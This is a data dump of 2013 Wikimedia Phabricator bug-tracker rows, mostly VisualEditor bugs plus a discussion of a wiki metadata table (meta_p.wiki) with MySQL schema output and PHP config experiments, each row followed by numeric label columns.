+210226,"VisualEditor: Data model needs characters, not code points","A related question is when invalid UTF-16 is checked and how errors are handled. 
+
+I don't know enough to suggest where in the system the checks should be. But it obviously relates to the parts of ve.dm.Converter and ve.ce.Surface (for paste) which would call this new splitCharacters function. Note that two chunks of invalid UTF-16 can concatenate into one valid but unexpected chunk.",,,1369029854,,PHID-USER-lliyevigiycjbybglftk,False,,,PHID-TASK-vqj7c3uh5ndu4ic45odq,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,1,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+50626,Provide wiki metadata in the databases similar to toolserver.wiki,"Toolserver has the local table toolserver.wiki on all databases that provides metadata about the wikis including the server the wiki's database is kept on:
+
+```
+| mysql> SELECT * FROM toolserver.wiki LIMIT 5;
+| +----------------+------+------------+------------------+------+---------+-----------+--------------+--------------+---------------+--------+-------------+
+| | dbname         | lang | family     | domain           | size | is_meta | is_closed | is_multilang | is_sensitive | root_category | server | script_path |
+| +----------------+------+------------+------------------+------+---------+-----------+--------------+--------------+---------------+--------+-------------+
+| | aawikibooks_p  | aa   | wikibooks  | NULL             |    3 |       0 |         1 |            0 |            0 | NULL          |      3 | /w/         |
+| | aawiki_p       | aa   | wikipedia  | NULL             |    6 |       0 |         1 |            0 |            0 | NULL          |      3 | /w/         |
+| | aawiktionary_p | aa   | wiktionary | NULL             |    1 |       0 |         1 |            0 |            1 | NULL          |      3 | /w/         |
+| | abwiki_p       | ab   | wikipedia  | ab.wikipedia.org |  807 |       0 |         0 |            0 |            0 | NULL          |      3 | /w/         |
+| | abwiktionary_p | ab   | wiktionary | NULL             |    0 |       0 |         1 |            0 |            1 | NULL          |      3 | /w/         |
+| +----------------+------+------------+------------------+------+---------+-----------+--------------+--------------+---------------+--------+-------------+
+| 5 rows in set (0.00 sec)
+
+| mysql>
+```
+
+Most of the information can probably be extracted from operations/mediawiki-config, but I don't know which sources there are authoritative.
+
+See also: {T50625}",Medium,50.0,1369024500,1377636000.0,PHID-USER-vk6mlmacfhx77egryy5i,False,,False,PHID-TASK-6qqicftxiu35fghejuwg,task_description,resolved,True,c1,1,False,False,True,-6,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,1,1
+210043,Provide wiki metadata in the databases similar to toolserver.wiki,"Added a meta_p.legacy view that has the same column name and order as toolserver.wiki for legacy purposes.
+
+Please note that the semantics of the 'server' columns differs and there may be other subtle differences with the toolserver's table not immediately evident.  Unless the same code base has to run on both labs and the toolserver for the interval while it still has replication, transitioning to use meta_p.wiki is preferable.",,,1377719047,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,1,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0
+210037,Provide wiki metadata in the databases similar to toolserver.wiki,"It would be possible, but probably unhelpful: from what I understand, the server column is numeric whereas I provide actual host names.  Keeping the column named the same with changed semantics seems to be asking for trouble IMO (i.e.: better a select fails than return a string that is misinterpreted as an integer by code with poor error checking).",,,1377636605,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,1
+210029,Provide wiki metadata in the databases similar to toolserver.wiki,"Would be a problem to rename slice to server, in order to match the column name of toolserver?
+
+The name column looks good to me from a quick look, btw.",,,1377636490,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,1,0,0,0,0
+210025,Provide wiki metadata in the databases similar to toolserver.wiki,"I did not want to rely on the existence of bool, which isn't ANSI; mysql ""helpfully"" translated my numeric(1) to decimal(1,0).",,,1377636432,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0
+210020,Provide wiki metadata in the databases similar to toolserver.wiki,"decimal(1,0) ? This seems strange. Shouldn't those is_* and has_* be BOOL aka. TINYINT(1) ?",,,1377636291,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,3,False,,,8,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1
+210015,Provide wiki metadata in the databases similar to toolserver.wiki,"I've added a table with automatically maintained meta information
+about the replicated databases: meta_p.wiki (which is available on every
+shard).
+
++------------------+--------------+------+-----+---------+-------+
+| Field            | Type         | Null | Key | Default | Extra |
++------------------+--------------+------+-----+---------+-------+
+| dbname           | varchar(32)  | NO   | PRI | NULL    |       |
+| lang             | varchar(12)  | NO   |     | en      |       |
+| name             | text         | YES  |     | NULL    |       |
+| family           | text         | YES  |     | NULL    |       |
+| url              | text         | YES  |     | NULL    |       |
+| size             | decimal(1,0) | NO   |     | 1       |       |
+| slice            | text         | NO   |     | NULL    |       |
+| is_closed        | decimal(1,0) | NO   |     | 0       |       |
+| has_echo         | decimal(1,0) | NO   |     | 0       |       |
+| has_flaggedrevs  | decimal(1,0) | NO   |     | 0       |       |
+| has_visualeditor | decimal(1,0) | NO   |     | 0       |       |
+| has_wikidata     | decimal(1,0) | NO   |     | 0       |       |
++------------------+--------------+------+-----+---------+-------+
+
+There is a lingering issue with the 'name' column which seems to
+improperly encode the Wiki name when non-ascii characters are involved;
+that will get fix once I manage to beat some sense into mysql.
+
+Most columns are self-explanatory, and I can add a few more depending on
+demand.  In the meantime, (dbname, slice) provides the much requested
+mapping between databases and slices.",,,1377636000,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,3,False,,,8,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,1,1,0,1,1,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+210011,Provide wiki metadata in the databases similar to toolserver.wiki,"Yes, but you need to populate that table from /somewhere/.  :-)",,,1373664795,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+210007,Provide wiki metadata in the databases similar to toolserver.wiki,API is per wiki. toolserver.wiki is a meta table.,,,1373651612,,PHID-USER-izojihzr4ja3jsgzn5wv,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1
+210003,Provide wiki metadata in the databases similar to toolserver.wiki,"(In reply to comment #4)
+> In addition, I think we should only rely on MediaWiki's API for this
+> information (with user authentication, as necessary).
+
+This is particularly important in that some extensions may have hard-to-evaluate effect on some configuration values (namespaces and usergroups being the more obvious cases).
+
+I should say that any necessary configuration value that cannot be fetched through the API should be /added/ to the API rather than fetched through an alternative scheme.
+
+-- Marc",,,1370202628,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,1,False,,,-5,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1
+209999,Provide wiki metadata in the databases similar to toolserver.wiki,"I think we should have a discussion about what the current ""toolserver"" database is, what we want in the future, and whether we care about breaking backward compatibility.
+
+Some of the design decisions in some of the database tables could probably be re-thought, but only if we're willing to break the current interfaces.
+
+In addition, I think we should only rely on MediaWiki's API for this information (with user authentication, as necessary). This is the cleanest and sanest way to accurately get this information, as far as I know.",,,1370195310,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,1,False,,,-5,,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0
+209992,Provide wiki metadata in the databases similar to toolserver.wiki,"Do we want a database table consisting of three columns: wiki, config_variable_name, and config_variable_value (as a serialized blob)?",,,1370194918,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,1,False,,,-5,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+209986,Provide wiki metadata in the databases similar to toolserver.wiki,"(In reply to comment #1)
+> Played around with:
+> 
+> | include ($MediaWikiRepoPath . ""/includes/Defines.php"");
+> | include ($WmfConfigRepoPath . ""/wmf-config/InitialiseSettings.php"");
+> | var_dump ($wgConf->settings);
+> 
+> but it doesn't yield for example information about de.wikipedia.org.
+
+Some experiments:
+
+$ php maintenance/eval.php 
+> $wgDBname='zhwiki';
+
+> $wmfRealm='production';
+
+> $mwConfigDir=""$IP/../operations/mediawiki-config"";
+
+> $wmfConfigDir=""$mwConfigDir/wmf-config"";
+
+> function getRealmSpecificFilename($p){global $IP,$wmfConfigDir;return str_replace($p,$IP,$wmfConfigDir);}
+
+> function wmfLoadInitialiseSettings($c){global $wmfConfigDir;require(""$wmfConfigDir/InitialiseSettings.php"");}
+
+> require(""$wmfConfigDir/wgConf.php"");
+
+> list($site,$lang)=$wgConf->siteFromDB($wgDBname);
+
+> $wikiTags=array();
+
+> $mwConfigDirHandle=opendir($mwConfigDir);
+
+> while(($f=readdir($mwConfigDirHandle))!==false){if(pathinfo($f,PATHINFO_EXTENSION)==='dblist'&&in_array($wgDBname,array_map('trim',file(""$mwConfigDir/$f"")))){$wikiTags[]=pathinfo($f,PATHINFO_FILENAME);}}
+
+> $dbSuffix = ( $site === 'wikipedia' ) ? 'wiki' : $site;
+
+> $wgConf->loadFullData();
+
+> $globals = $wgConf->getAll( $wgDBname, $dbSuffix,array('lang'    => $lang,'site'    => $site,'stdlogo' => ""//upload.wikimedia.org/$site/$lang/b/bc/Wiki.png""), $wikiTags );
+
+> print_r($globals);
+Array
+(
+    [wgLegacyEncoding] => 
+    [wgCapitalLinks] => 1
+    ...
+)
+
+>",,,1369467985,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,1,False,,,-6,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,0,1
+209978,Provide wiki metadata in the databases similar to toolserver.wiki,"Played around with:
+
+| include ($MediaWikiRepoPath . ""/includes/Defines.php"");
+| include ($WmfConfigRepoPath . ""/wmf-config/InitialiseSettings.php"");
+| var_dump ($wgConf->settings);
+
+but it doesn't yield for example information about de.wikipedia.org.",,,1369450706,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-6qqicftxiu35fghejuwg,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+50610,"VisualEditor, CodeEditor, etc: User experience of editing page source directly","There are now at least three ways to edit a page via index.php (not including other crazy things like Wikidata). I couldn't find a bug tracking this user experience issue, so I'm filing this one.
+
+The three ways I'm initially focused on are:
+
+* directly editing the wikitext (which can appear as an ""edit source"" page tab when VisualEditor is enabled);
+* VisualEditor [https://www.mediawiki.org/wiki/VisualEditor]; and
+* CodeEditor [https://www.mediawiki.org/wiki/Extension:CodeEditor] (automatic for pages in the Module namespace and soon the CSS/JS pages as well; has a toggle in the edit toolbar).
+
+In particular to switch to editing the source, I'm worried about divergent approaches in the user interface. For example, a page tab v. a toggle in the edit toolbar.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal",Medium,50.0,1368935460,1725936323.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-escte3psz5yfd2nj3jzr,False,PHID-TASK-xka4cwtxxzprt6337pfw,task_description,invalid,True,c1,1,False,False,False,-7,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+2412231,"VisualEditor, CodeEditor, etc: User experience of editing page source directly","This 2013 task with no updates in a decade does not seem to be tracking any actionable problem per Aklapper's comment above, so closing.",,,1725936323,,PHID-USER-escte3psz5yfd2nj3jzr,False,,,PHID-TASK-xka4cwtxxzprt6337pfw,task_subcomment,,True,c1,3,True,,,584,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0
+208758,"VisualEditor, CodeEditor, etc: User experience of editing page source directly",Slightly unclear what the bug to fix is here (and hence when it can be considered fixed). Could you elaborate?,,,1369397664,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-xka4cwtxxzprt6337pfw,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,1,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0,0
+208755,"VisualEditor, CodeEditor, etc: User experience of editing page source directly","oh, and we can also add wikEd to that list :D",,,1368959990,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-xka4cwtxxzprt6337pfw,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+50605,VisualEditor: Empty annotations are dropped,"VE drops things like <i></i>, which Parsoid sometimes uses to preserve strange things.
+
+I think a solution might be to store this as an inline node or as a meta item.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1368896280,1371840406.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-njbgmmjxybp3rk2azuui,task_description,resolved,True,c1,1,False,False,True,-7,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+208504,VisualEditor: Empty annotations are dropped,"This works for single annotations, but not for nested ones. See https://gerrit.wikimedia.org/r/#/c/69343/ for a failing test case.",,,1371582191,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-njbgmmjxybp3rk2azuui,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0
+208498,VisualEditor: Empty annotations are dropped,Split new items out to bug 49497; closing this one.,,,1371065118,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-njbgmmjxybp3rk2azuui,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+208493,VisualEditor: Empty annotations are dropped,"Above change fixes issue with annotations being dropped, but we still need to fix empty annotations not rendering (e.g. <span style=""display: block; background: red; width: 100px; height: 100px;""></span>), either here or in a new bug.",,,1371062712,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-njbgmmjxybp3rk2azuui,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+208488,VisualEditor: Empty annotations are dropped,Related URL: https://gerrit.wikimedia.org/r/68213 (Gerrit Change I0f3a194f629b054f193a61af105733a555775d79),,,1371062522,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-njbgmmjxybp3rk2azuui,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+208485,VisualEditor: Empty annotations are dropped,"That would be nice, yes, but I don't think it's critically important.",,,1370298323,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-njbgmmjxybp3rk2azuui,task_subcomment,,True,c1,1,False,,,-4,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+208482,VisualEditor: Empty annotations are dropped,"(Actually it's a yes/no question, both cases relate to the same behaviour.)",,,1369419847,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-njbgmmjxybp3rk2azuui,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+208476,VisualEditor: Empty annotations are dropped,"(In reply to comment #1)
+> Should the inline node disappear if saved next to similarly annotated text,
+> 
+> e.g.
+> '<i><emptyAnnotation /></i><i>Foo</i>' => '<i>Foo</i>'
+> 
+> or more complex:
+> 
+> '<i><emptyAnnotation /></i><b><i>Foo</i></b>' => '<i><emptyAnnotation
+> /><b>Foo</b></i>'
+> ?
+
+I believe the latter, but Roan was going to answer this.",,,1369248022,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-njbgmmjxybp3rk2azuui,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,1,0,1
+208471,VisualEditor: Empty annotations are dropped,"Should the inline node disappear if saved next to similarly annotated text,
+
+e.g.
+'<i><emptyAnnotation /></i><i>Foo</i>' => '<i>Foo</i>'
+
+or more complex:
+
+'<i><emptyAnnotation /></i><b><i>Foo</i></b>' => '<i><emptyAnnotation /><b>Foo</b></i>'
+?",,,1368980503,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-njbgmmjxybp3rk2azuui,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,1
+50603,VisualEditor: [Regression] Cursor should move to end of inserted contents after paste,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Medium,50.0,1368891000,1369092019.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-wggr7br64lqzvnsbmef2,task_description,resolved,True,c1,1,True,False,True,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+208344,VisualEditor: [Regression] Cursor should move to end of inserted contents after paste,Merged and will go out with wmf5.,,,1369092019,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wggr7br64lqzvnsbmef2,task_subcomment,,True,c1,1,True,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+208340,VisualEditor: [Regression] Cursor should move to end of inserted contents after paste,Related URL: https://gerrit.wikimedia.org/r/64484 (Gerrit Change Ia2a2120cb75aa86374b594ae3f484c5161028919),,,1368891842,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wggr7br64lqzvnsbmef2,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+50602,VisualEditor: Paste is broken,"Throws an exception on line 564 of ve.ce.Surface, ve.getWindow is undefined.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1368890520,1368978729.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-jslagmridhbcpdvjclho,task_description,resolved,True,c1,1,True,False,True,-7,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+208288,VisualEditor: Paste is broken,Merged in master; will go out as part of wmf5.,,,1368978729,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jslagmridhbcpdvjclho,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+208283,VisualEditor: Paste is broken,Related URL: https://gerrit.wikimedia.org/r/64483 (Gerrit Change I31dc071328123b57b778aa1b21f0e1daf6405e5c),,,1368890997,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jslagmridhbcpdvjclho,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+50584,VisualEditor: 'Review and save' disabled after undo on oldid page,"'Review and save' is enabled on loading an old version of a page (as it should) but becomes disabled briefly after the first transaction is committed, and again if you undo to the top of the stack.
+
